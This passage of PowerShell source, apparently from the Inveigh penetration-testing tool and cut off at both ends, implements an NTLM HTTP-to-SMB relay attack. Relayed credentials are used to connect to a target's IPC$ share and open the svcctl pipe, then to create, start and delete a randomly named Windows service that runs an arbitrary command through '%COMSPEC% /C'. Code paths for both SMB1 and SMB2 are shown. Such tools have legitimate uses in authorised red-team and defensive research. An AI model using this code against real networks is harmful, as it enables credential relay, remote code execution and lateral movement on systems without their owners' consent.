$SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_relay_response_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_response_stream.Flush() + $SMB_relay_response_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')) + { + $SMB_relay_failed = $false + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication successful for $HTTP_username_full on $Target") > $null + } + else + { + + if($HTTP_NTLM_domain_string -ne '') + { + $inveigh.relay_user_failed_list.Add("$HTTP_source_IP $HTTP_username_full $Target") + } + + $inveigh.relay_list.Add("$HTTP_source_IP $Target") + $SMB_relay_failed = $true + $SMB_relay_socket.Close() + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication failed for $HTTP_username_full on $Target") > $null + } + + return $SMB_relay_failed + } + + function SMBRelayExecute + { + param ($SMB_relay_socket,$SMB_version,$SMB_user_ID,$SMB_session_ID) + + $SMB_client_receive = New-Object System.Byte[] 1024 + + if(!$Service) + { + $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00-00-00' + $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $SMB_service = $Service + $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($Service) + + if([Bool]($SMB_service.Length % 2)) + { + $SMB_service_bytes += 0x00,0x00 + } + else + { + $SMB_service_bytes += 0x00,0x00,0x00,0x00 + + } + + } + + $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) + $Command = "%COMSPEC% /C `"" + $Command + "`"" + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_} + + if([Bool]($Command.Length % 2)) + { + $SMBExec_command += '00-00' + } + else + { + $SMBExec_command += '00-00-00-00' + } + + $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2) + + $SMB_path = "\\" + $Target + "\IPC$" + + if($SMB_version -eq 'SMB1') + { + $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 + } + else + { + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + } + + $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + $SMB_client_stream = $SMB_relay_socket.GetStream() + $SMB_split_index = 4256 + + if($SMB_version -eq 'SMB1') + { + $SMB_client_stage = 'TreeConnectAndXRequest' + + :SMB_execute_loop while ($SMB_client_stage -ne 'Exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnectAndXRequest' + { + $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateAndXRequest' + } + + 'CreateAndXRequest' + { + $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl + $SMB_tree_ID = $SMB_client_receive[28,29] + $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_FID = $SMB_client_receive[42,43] + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_RPC_data = New-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadAndXRequest' + { + Start-Sleep -m 150 + $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBReadAndXRequest + $packet_SMB_data["FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = $SMB_client_stage_next + } + + 'OpenSCManagerW' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $SMB_service_manager_context_handle = $SMB_client_receive[88..107] + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full has execution privilege on $Target") > $null + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') + { + $SMB_relay_failed = $true + + if($HTTP_NTLM_domain_string -ne '') + { + $inveigh.relay_user_failed_list.Add("$HTTP_source_IP $HTTP_username_full $Target") + } + + if(!$inveigh.relay_list.Contains("$HTTP_source_IP $Target")) + { + $inveigh.relay_list.Add("$HTTP_source_IP $Target") + } + + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full does not have execution privilege on $Target") > $null + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CreateServiceW' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay service $SMB_service created on $Target") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Trying to execute SMB relay command on $Target") > $null + $SMB_service_context_handle = $SMB_client_receive[92..111] + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') + { + $SMB_relay_failed = $true + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay service $SMB_service creation failed on $Target") > $null + } + else + { + $SMB_relay_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay command executed on $Target") > $null + } + elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay service $SMB_service failed to start on $Target") > $null + } + + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB relay service $SMB_service deleted on $Target") > $null + } + else + { + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40 + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBTreeDisconnectRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = New-PacketSMBLogoffAndXRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMB_relay_failed) + { + $SMB_client_stage = 'Exit' + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay failed on $Target") > $null + } + + } + + } + else + { + + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID = 4 + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateRequest' + } + + 'CreateRequest' + { + $SMB2_tree_ID = 0x01,0x00,0x00,0x00 + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_RPC_data = New-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadRequest' + { + + Start-Sleep -m 150 + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["CreditCharge"] = 0x10,0x00 + $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID + $SMB2_header = 